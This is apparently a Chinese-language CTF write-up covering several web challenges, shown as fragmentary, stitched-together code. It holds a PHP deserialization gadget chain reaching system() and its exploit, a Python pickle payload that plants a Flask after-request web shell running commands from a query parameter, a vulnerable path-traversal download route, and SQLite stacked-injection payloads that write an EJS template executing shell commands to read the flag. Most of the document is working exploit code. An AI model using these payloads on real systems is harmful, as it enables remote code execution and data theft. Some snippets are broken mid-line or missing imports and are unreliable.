class A { public $first; public $step; public $next;
public function __construct() { $this->first = "继续加油!"; }
public function start() { echo $this->next; } }
class E { private $you; public $found; private $secret = "admin123";
public function __get($name){ if($name === "secret") { echo "<br>".$name." maybe is here!</br>"; $this->found->check(); } } }
class F { public $fifth; public $step; public $finalstep;
public function check() { if(preg_match("/U/",$this->finalstep)) { echo "仔细想想!"; } else { $this->step = new $this->finalstep(); ($this->step)(); } } }
class H { public $who; public $are; public $you;
public function __construct() { $this->you = "nobody"; }
public function __destruct() { $this->who->start(); } }
class N { public $congratulation; public $yougotit;
public function __call(string $func_name, array $args) { return call_user_func($func_name,$args[0]); } }
class U { public $almost; public $there; public $cmd;
public function __construct() { $this->there = new N(); $this->cmd = $_POST['cmd']; }
public function __invoke() { return $this->there->system($this->cmd); } }
class V { public $good; public $keep; public $dowhat; public $go;
public function __toString() { $abc = $this->dowhat; $this->go->$abc; return "<br>Win!!!</br>"; } }
unserialize($_POST['payload']);
?>
签到 PHP 反序列化不解释,exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
<?php $target = $argv[1]; $cmd = $argv[2];
class A { public $first; public $step; public $next; } class E { public $found; } class F { public $fifth; public $step; public $finalstep; } class H { public $who; public $are; public $you; } class V { public $good; public $keep; public $dowhat; public $go; }
$f = new F(); $f->finalstep = 'u'; $e = new E(); $e->found = $f; $v = new V(); $v->dowhat = 'secret'; $v -> go = $e; $a = new A(); $a->next = $v; $h = new H(); $h->who = $a;
data = b'\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x02id\x94K\x02\x8c\x08username\x94\x8c\x05guest\x94\x8c\x08is_admin\x94\x88\x8c\tlogged_in\x94\x88ub.' print(binascii.hexlify(bytes(data)).decode())
payload = r""" from flask import current_app, request, make_response import os def _h(resp): c = request.args.get('cmd') return make_response(os.popen(c).read()) if c else resp current_app.after_request_funcs.setdefault(None, []).append(_h) """
class RCE: def __reduce__(self): return (exec, (payload,)) print(binascii.hexlify(pickle.dumps(RCE())).decode())
@Service public class InMemoryUserDetailsService implements UserDetailsService { private static final Map<String, User> USERS = new HashMap();
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException { User user = (User)USERS.get(username); if (user == null) { throw new UsernameNotFoundException("User not found with username: " + username); } return user; }
@Controller public class MainC { @PostMapping(value={"/upload"}) public String upload(@RequestParam(value="imgFile") MultipartFile file, @RequestParam(value="imgName") String name) throws Exception { File dir = new File("uploadFile"); if (!dir.exists()) { dir.mkdirs(); } file.transferTo(new File(dir.getAbsolutePath() + File.separator + name + ".html")); return "success"; } }
假登录路由没写登录逻辑,也没对应的后台程序,但其具备动态模板渲染的功能,且 value 可控,文件上传与解析路径不在同一个目录,利用还需要猜测其解析路径
1 2 3 4 5 6 7 8 9 10 11
@Controller @RequestMapping(value={"/login"}) public class Login { @GetMapping(value={"/dynamic-template"}) public String getDynamicTemplate(@RequestParam(value="value", required=false) String value) { if (value.equals("")) { value = "login"; } return value + ".html"; } }
Spring Security 还有注册一个 JWT 校验,每次请求都会先走 JwtAuthenticationFilter
public class JwtAuthenticationFilter extends OncePerRequestFilter { private final JwtTokenProvider jwtTokenProvider; private final UserDetailsService userDetailsService;
app.get('/download', (req, res) => { if (!req.session.user) return res.redirect('/login'); const filename = req.query.filename; if (filename.startsWith('/')||filename.startsWith('./')) { return res.status(400).send('WAF'); } if (filename.includes('../../')||filename.includes('.././')||filename.includes('f')||filename.includes('//')) { return res.status(400).send('WAF'); } if (!filename || path.isAbsolute(filename) ) { return res.status(400).send('无效文件名'); } const filePath = path.join(__dirname, 'documents', filename); if (fs.existsSync(filePath)) { res.download(filePath); } else { res.status(404).send('文件不存在'); } });
const PORT = 80; app.listen(PORT, () => { console.log(`Server running on http://localhost:${PORT}`); });
sqlite3 注入,先测试一下是否能建表插值
1
username=123&password=1'); CREATE TABLE IF NOT EXISTS pwn(note TEXT); INSERT INTO pwn VALUES('OK-1');--&confirmPassword=1'); CREATE TABLE IF NOT EXISTS pwn(note TEXT); INSERT INTO pwn VALUES('OK-1');--
username=1234&password=1'); INSERT INTO pwn VALUES('BEFORE-EXT'); SELECT load_extension('/usr/lib/x86_64-linux-gnu/sqlite3/fileio.so','sqlite3_fileio_init'); INSERT INT
O pwn VALUES('AFTER-EXT');--&&confirmPassword=1'); INSERT INTO pwn VALUES('BEFORE-EXT'); SELECT load_extension('/usr/lib/x86_64-linux-gnu/sqlite3/fileio.so','sqlite3_fileio_init'); INS
ERT INTO pwn VALUES('AFTER-EXT');--
失败,测了一晚上没有思路,这题贴一下 z3 队长的解法 payload
1 2 3
');ATTACH DATABASE '/app/views/upload.ejs' AS z3;create TABLE z3.exp (paylo ad text); insert INTO z3.exp (payload) VALUES ('<%= process.mainModule.requ ire("child_process").execSync("cat /f*").toString() %>');--